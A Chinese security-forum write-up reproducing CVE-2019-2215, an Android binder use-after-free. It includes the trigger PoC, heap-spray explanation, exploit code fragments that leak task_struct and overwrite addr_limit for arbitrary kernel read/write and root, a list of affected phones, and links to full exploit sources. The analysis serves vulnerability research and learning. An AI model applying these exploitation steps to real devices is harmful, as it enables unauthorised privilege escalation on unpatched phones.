首页
社区
课程
招聘
[原创]CVE-2019-2215复现及分析
2021-1-4 14:04 12846

[原创]CVE-2019-2215复现及分析

2021-1-4 14:04
12846

目录

受影响机型

1) Pixel 2 with Android 9 and Android 10 preview

 

2) Huawei P20

 

3) Xiaomi Redmi 5A

 

4) Xiaomi Redmi Note 5

 

5) Xiaomi A1

 

6) A3

 

7) Moto Z3

 

8) Oreo LG phones (run according to )

 

9) Samsung S7, S8, S9

 

10) Kernel 3.4.x and 3.18.x on Samsung Devices using Samsung Android and LineageOS

 

11) It works on Pixel 1 and 2, but not Pixel 3 and 3a.

 

12) It was patched in the Linux kernel >= 4.14 without a CVE

 

13) accessible from inside the Chrome sandbox.

 

根据https://bugs.chromium.org/p/project-zero/issues/detail?id=1942公开的poc拿到了拿到了任意内核读写权限。后续的文章为https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/,这个漏洞比较好用,可以在公开的漏洞中能够root比较新的机器。

 

基于原始的poc代码任意地址写的基础上在patch kernel绕过了一些缓解机制所做的完整的工作,但拿到任意地址写的的原理的过程并未开篇陈述,基于此,本人开始着手复现并阐述这里面的实现原理以及漏洞利用的方法。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
 
#define BINDER_THREAD_EXIT 0x40046208ul
 
int main()
{
 int fd, epfd;
 struct epoll_event event = { .events = EPOLLIN };
 fd = open("/dev/binder", O_RDONLY);
 epfd = epoll_create(1000);
 epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
 ioctl(fd, BINDER_THREAD_EXIT, NULL);
}
  • 官方描述如下:

As described in the upstream commit:
“binder_poll() passes the thread->wait waitqueue that
can be slept on for work. When a thread that uses
epoll explicitly exits using BINDER_THREAD_EXIT,
the waitqueue is freed, but it is never removed
from the corresponding epoll data structure. When
the process subsequently exits, the epoll cleanup
code tries to access the waitlist, which results in
a use-after-free.”

 

其含义就是:

 

就是binder_thread->waitqueue成员链表中链接了epoll data结构,但当调用了BINDER_THREAD_EXIT对应的方法,就会导致binder_thread被释放,当程序结束的时候,epoll相应的结构重复遍历到此成员,造成uaf。


  • 对应的poc步骤为:
  1. open(“/dev/binder”),会创建binder_thread

  2. epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);初始化binder_thread->wait_queue_head_t, 调用add_wait_queue插入wait_queue_t到binder_thread.wait中,

  3. ioctl(fd, BINDER_THREAD_EXIT, NULL); 释放binder_thread结构体

  4. 程序结束的时候,会遍历这个链表中,触发uaf

  5. 此外,如果调用epoll_ctl(epfd, EPOLL_CTL_DEL, fd,event)也会遍历到这个链表中触发漏洞,原因是调用remove_wait_queue,然后删除wait_queue_t,会遍历到binder_thread->wait成员(wait_queue_head_t)这样可以跟4是一样的效果。

  • poc还可以这样写:


基础知识

了解 epoll

好了,写完poc之后,在讲解利用之前,不妨看一下内核的基本流程和一些基本概念:

  1. epoll是select和poll的升级版,应用程序中调用 select() 和 poll() 函数, 使进程进入睡眠之前,内核先检查设备驱动程序上有无对应事件的状态,此时可通过查看 poll() 函数的返回值。

  2. 能够在返回值上使用的宏变量有以下组合:
    POLLIN, POLLPRI, POLLOUT, POLLERR, POLLHUP, POLLNVAL, POLLRDNORM, POLLRDBAND, POLLWRNORM, POLLWRBAND, POLLMSG, POLLREMOVE
    这些值中使用最多的是下面几个组合:

· POLLIN | POLLRDNORM 表示可读

 

· POLLOUT | POLLWRNORM 表示可写

 

. POLLERR 表示出错

源码解读

它们是如何初始化,结构体是怎么样的?

EPOLL_CTL_ADD

epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);会调用binder_poll函数。/dev/binder绑定了一些系统调用,并且实现了binder_poll,binder_poll中对binder_thread.wait进行了初始化,并调用add_wait_queue(重点)。

 

其具体调用链为EPOLL_CTL_ADD->ep_insert()->binder_poll函数,binder_poll函数会获取binder_thread结构,调用poll_wait.

  • binder设备实现的函数如下图:

/dev/binder, 会有binder_poll这个调用

 

 

binder_poll 调用核心的函数为poll_wait

 

 

poll_wait()会调用epq.pt.qproc所对应的回调函数ep_ptable_queue_proc,执行add_wait_queue操作。

 

 

以上其具体含义为设置pwq->wait的成员变量func唤醒回调函数为ep_poll_callback;并将ep_poll_callback放入等待队列whead中,ep_poll_callback函数核心功能是当目标fd的就绪事件到来时,将fd对应的epitem实例添加到就绪队列。当调用epoll_wait()时,内核会将就绪队列中的事件报告给应用。

 

也就是ep_insert会调用到ep_item_poll->binder_poll->poll_wait。

 


binder_poll 调用核心的函数为poll_wait

 

 

主要结构体的初始化都发生在ep_insert->binder_poll中,poll_wait的第一个参数为binder的fd, 第二个参数为binder_thread的wait成员。来看一下它的成员情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct binder_thread {
    wait_queue_head_t wait;
;;;;;;;;;;
}
struct __wait_queue_head {
    spinlock_t        lock;
    struct list_head    task_list;
};
struct __wait_queue {
    unsigned int        flags;
    void            *private;
    wait_queue_func_t    func;
    struct list_head    task_list;
};

 

当调用一次add_wait_queue增加wait_queue_t

 


当insert多次就会变为以下:

 

epoll_create函数

以上成员如何初始化的呢? 需要了解epoll_create函数,open(“/dev/binder”)进入内核会调用binder_open分配binder_proc结构体,epoll_create会调用ep_alloc,对成员进行初始化

 



 

在这个链表中,有两种数据结构:等待队列头(wait_queue_head_t)和等待队列项(wait_queue_t)。等待队列头和等待队列项中都包含一个list_head类型,由于我们只需要对队列进行添加和删除操作,并不会修改其中的对象(等待队列项)一开始它是INIT_LIST_HEAD(&q->task_list); next,prev指针分别指向自己。

  • 当初始化时:

而对队列项的初始化wait_queue_t在

 

EPOLL_CTL_DEL

epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);函数相对比较简单,会调用remove_wait_queue

 

 

当调用remove_wait_queue

 

heapspray的理念

  1. readv和writev堆喷。
  2. Time of check time of use,简称toctou,堆喷完,中间会有一个等待时机,阻塞住内核,可以绕过check,内核的数据通过漏洞已经被改写,然后再use,可以转化为任意地址读或者写。

既然看完了内核的追溯过程,回到poc本身如果是binder_thread结构体的释放,并且是uaf,就会离不开堆喷。

 

其内核的源码追溯如下:

 

readv和writev内部会调用kmalloc分配空间,内部采用分散读(scatter read)和集合写(gather write),内核都会调用到do_loop_readv_writev函数。

可以参考retme的https://speakerdeck.com/retme7/the-art-of-exploiting-unconventional-use-after-free-bugs-in-android-kernel


 

ssize_t readv(int fd, const struct iovec *iov, int iovcnt);

 

ssize_t writev(int fd, const struct iovec *iov, int iovcnt);

 

也会再开始调用rw_copy_check_uvector,其源码如下:

 



调用kmalloc分配大小,然后根据iov_base依次进行写入或者读取iov_len长度的内容。

1
2
3
4
5
struct iovec
{
    void __user *iov_base;    /* BSD uses caddr_t (1003.1g requires void *) */
    __kernel_size_t iov_len; /* Must be size_t (1003.1g) */
};

关键要理解的是随着readv和writev调用kmalloc分配完相应的对象,并对之前free掉的object进行占位时,会等待write和read的调用,中间会有一个时机是触发漏洞的时机,以方便对iov_base的修改。

漏洞利用:

从这里开始分析如何从poc转变为kernel的任意地址读写,至于任意读写之后到拿到root部分因为网络资料较多,暂不分析

 

所使用的手机环境为pixel 2, linux内核版本tag为4.4.116-gbcd0ecccd040

 

作者的exp可以分为两次的触发漏洞

  1. 触发漏洞,通过创建pipe,writev(堆喷)和read配合使用,泄露task_struct地址。

  2. 触发漏洞, 创建socket,readv(堆喷)和write配合使用,实现patch addr_limit内核变量,打开任意内核地址读写

    注意这两步都会重新触发漏洞,每一步两个函数的之间的调用是有时间差的,并且都会等待下一个函数的开始调用,比如writev会等待read的调用,否则一直阻塞,所以会fork子进程之前会有sleep的动作,以保证执行的先后顺序,fd(文件描述符)之间可以父子进程共享。

    接下来详细解释:

泄露内核进程地址

先看第一步:leak_task_struct,观察step1-6(按时间先后顺序)的运行,放大图片来观看

 


简单总结下:

 

1.EPOLL_CTL_ADD会调用add_wait_queue

 

2.BINDER_THREAD_EXIT释放binder_thread.

 

3.调用writev堆喷大小一样的binder_thread结构体.

 

4.调用EPOLL_CTL_DEL即remove_wait_queue对链表进程删除,会造成iov_base的修改.

 

5.然后调用read,绕过内核的检查,读取iov_base的内容,即造成内核地址数据的泄露。

 

关键在于remove_wait_queue中

 

 

数据成员指向了自己,read的时候读出了内核地址。

 

我在内核中也打印log验证了这一点

之前的漏洞利用都是通过readv进程堆喷,已经检查过iov_base,没有数据,会一直阻塞,这时候会等待write的到来,然而中间的某个时刻会触发漏洞改变iov_base为kernel address,然后进行write,可以往kernel_address写入内容,实现内核地址写,而这种相反的方式扩大了一些苛刻场景的漏洞利用,达到了绕过kalsr的技巧。

patch addr_limit(任意地址写)

 


注释已经写的很清楚了。

1
2
3
4
5
6
7
iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned;
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1;
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF;
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10;
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD;
 
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8;

当epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);调用完毕,

1
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = &(binder_thread->wait+8)                 iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base =&(binder_thread->wait+8)

这时候write调用开始连续写入iov_base.写入的内容如下:

1
2
3
4
5
6
7
8
unsigned long second_write_chunk[] = {
    1, /* iov_len */
    0xdeadbeef, /* iov_base (already used) */
    0x8 + 2 * 0x10, /* iov_len (already used) */
    current_ptr + 0x8, /* next iov_base (addr_limit) */
    8, /* next iov_len (sizeof(addr_limit)) */
    0xfffffffffffffffe /* value to write */
  };

注意因为在//step 2 write(socks[1], "X", 1) 已经提前写入长度为1的值,所以对iov_len的修改后期并没有起作用,否则将会拷贝iovec_array[IOVEC_INDX_FOR_WQ].iov_len = &(binder_thread->wait+8) 长度的数据到dummy_page_4g_aligned。

 

然后step 5中

 

write(socks[1],second_write_chunk,sizeof(second_write_chunk))开始对

 

iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base =&(binder_thread->wait+8)这个地址进行写入,长度为0x8 + 2 * 0x10

 

这时候binder_thread的内部数据发生变化:

1
2
3
4
5
6
7
8
9
binder_thread.wait.task_list.next = 1 //iov_len
 
binder_thread.wait.task_list.prev = 0xdeadbeef //base
 
binder_thread.x1 = 0x8 + 2 * 0x10 //len
 
binder_thread.x2 = current_ptr + 0x8//base
 
binder_thread.x3 = 8

继续进行执行程序:

1
2
3
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD;
 
 iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8;

因为这iovec_array是堆喷的数据,它其实相当于binder_thread.x2的内容,已经由0xBEEFDEAD修改成current_prt+0x8了,这时候second_chunk只剩下最后一个值0xfffffffffffffffe,然后继续write(fd,current_prt+0x8, 0xfffffffffffffffe),达到patch addr_limit,从而实现任意内核写,拿到root:

 

这里需要注意的是:int recvmsg_result = recvmsg(socks[0], &msg, MSG_WAITALL); MSG_WAITALL的标志起到了等待write调用的完成,也就是一直会等待下去。

 

对应android 9, 10 都运行拿到了root,以下为android10的运行日志。

 

有些手机会崩溃

  1. 崩溃地方在spin_lock_irqsave(&q->lock,flags),![img]
  1. readv和write调用,会将所有的内容写入dummy_page_4g_aligned中,可能内核read和write实现的机制不同,但这部分还未分析。

其他知识点

Printk不可见的原因

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/lib/vsprintf.c b/lib/vsprintf.c
index 0a51559..279d5ff 100644
--- a/lib/vsprintf.c
+++ b/lib/vsprintf.c
@@ -1514,7 +1514,7 @@ char *pointer(const char *fmt, char *buf, char *end, void
                case 3: /* restrict all non-extensioned %p and %pK */
                case 4: /* restrict all non-extensioned %p, %pK, %pa*, %p[rR] */
                default:
-                       ptr = NULL;
+                       //ptr = NULL;
                        break;
                }
                break;

或者echo 0>/prcoc/sys/kernel/kptr_restrict

 

dmsg

 

cat /proc/kmsg

 

cat /dev/kmsg。

日志的插入位置

分别在add_wait_queue,remove_wait_queue和binder_free_thread函数插入前后的log并以进程名字为过滤,指针有可能会被其他的值覆盖,所以最好不要用%p,否则内核会崩溃在自己写的log上

总结

此次漏洞由syzcaller产生,主要在于设备实现了binder_poll函数,binder_poll函数内部使用了binder_thread结构成员,但未考虑binder_thread结构如果已经释放的情况下,epoll机制仍然使用其中的成员,导致的uaf,其patch在释放binder_thread结构提前会对epoll上的链表进行清理,其漏洞利用特点来看,是tocttou的升级利用,衍生出了某些条件下可以遇到uaf,或者heap overflow这类漏洞实现信息泄露和绕过kalsr的有效机制。

 

于2019年11月记录,分享出来与大家一起学习。

适配情况:

A use-after-free in binder.c allows an elevation of privilege from an application to the Linux Kernel. Aimed at kernel 4.4

 

https://github.com/kangtastic/cve-2019-2215/blob/master/cve-2019-2215.c

 

A use-after-free in binder.c allows an elevation of privilege from an application to the Linux Kernel. Use one way and aimed at kernel 4.4

 

https://github.com/kangtastic/cve-2019-2215/blob/master/cve-2019-2215.c

 

A use-after-free in binder.c allows an elevation of privilege from an application to the Linux Kernel. Use another way to root and aimed at kernel 3.18 and kernel 4

 

https://pastebin.com/mDaGMM6K

Patch


增加了

 


在free binder_thread的时候会对wait_queue_head进行处理,置0

 

在ep_poll_callback中:

 


References

crash:

 

https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414028

 

issue:

 

https://bugs.chromium.org/p/project-zero/issues/detail?id=1942

 

poc: https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414030

 

https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414885

 

patch:

 

https://elixir.bootlin.com/linux/latest/ident/POLLFREE

 

https://pacsec.jp/psj17/PSJ2017_DiShen_Pacsec_FINAL.pdf

 

https://github.com/externalist/exploit_playground/blob/master/CVE-2016-2434/exploit_CVE-2016-2434_commented.c

 

https://www.google.com.hk/url?sa=t&rct=j&q=&esrc=s&source=web&cd=5&ved=2ahUKEwit3fb2zLHlAhWNF6YKHX_DC1UQFjAEegQIAhAB&url=https%3A%2F%2Fsecurityaffairs.co%2Fwordpress%2F92633%2Fhacking%2Fcve-2019-2215-zero-day-exploit.html&usg=AOvVaw2ItkF7ngwGi8z6SfNtHj3x

 

epoll的简单描述:

 

https://www.cppfans.org/1418.html


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞10
打赏
分享
最新回复 (4)
雪    币: 283
活跃值: (3074)
能力值: ( LV5,RANK:75 )
在线值:
发帖
回帖
粉丝
囧囧 2021-1-4 21:16
2
0
感谢分享
雪    币: 7816
活跃值: (1068)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
jltxgcy 2 2021-1-5 09:13
3
0
版主,好高产。
雪    币: 6571
活跃值: (3823)
能力值: (RANK:200 )
在线值:
发帖
回帖
粉丝
LowRebSwrd 4 2021-1-5 12:58
4
0
jltxgcy 版主,好高产。[em_63]
哈哈,分享一下
雪    币: 0
活跃值: (32)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
redstone555 2021-10-22 17:36
5
0
我按照教程搞了一下卡住了,
PD1818C:/data/local/tmp $ ./proc shell
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: Finished write to FIFO.
writev() returns 0x1000

看起来是这里阻塞住了。
  if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");
  // Grant: uncomment this if you are having issues getting current_ptr on your kernel
  //hexdump_memory((unsigned char *)page_buffer, sizeof(page_buffer));

大佬可以帮忙分下原因吗
游客
登录 | 注册 方可回帖
返回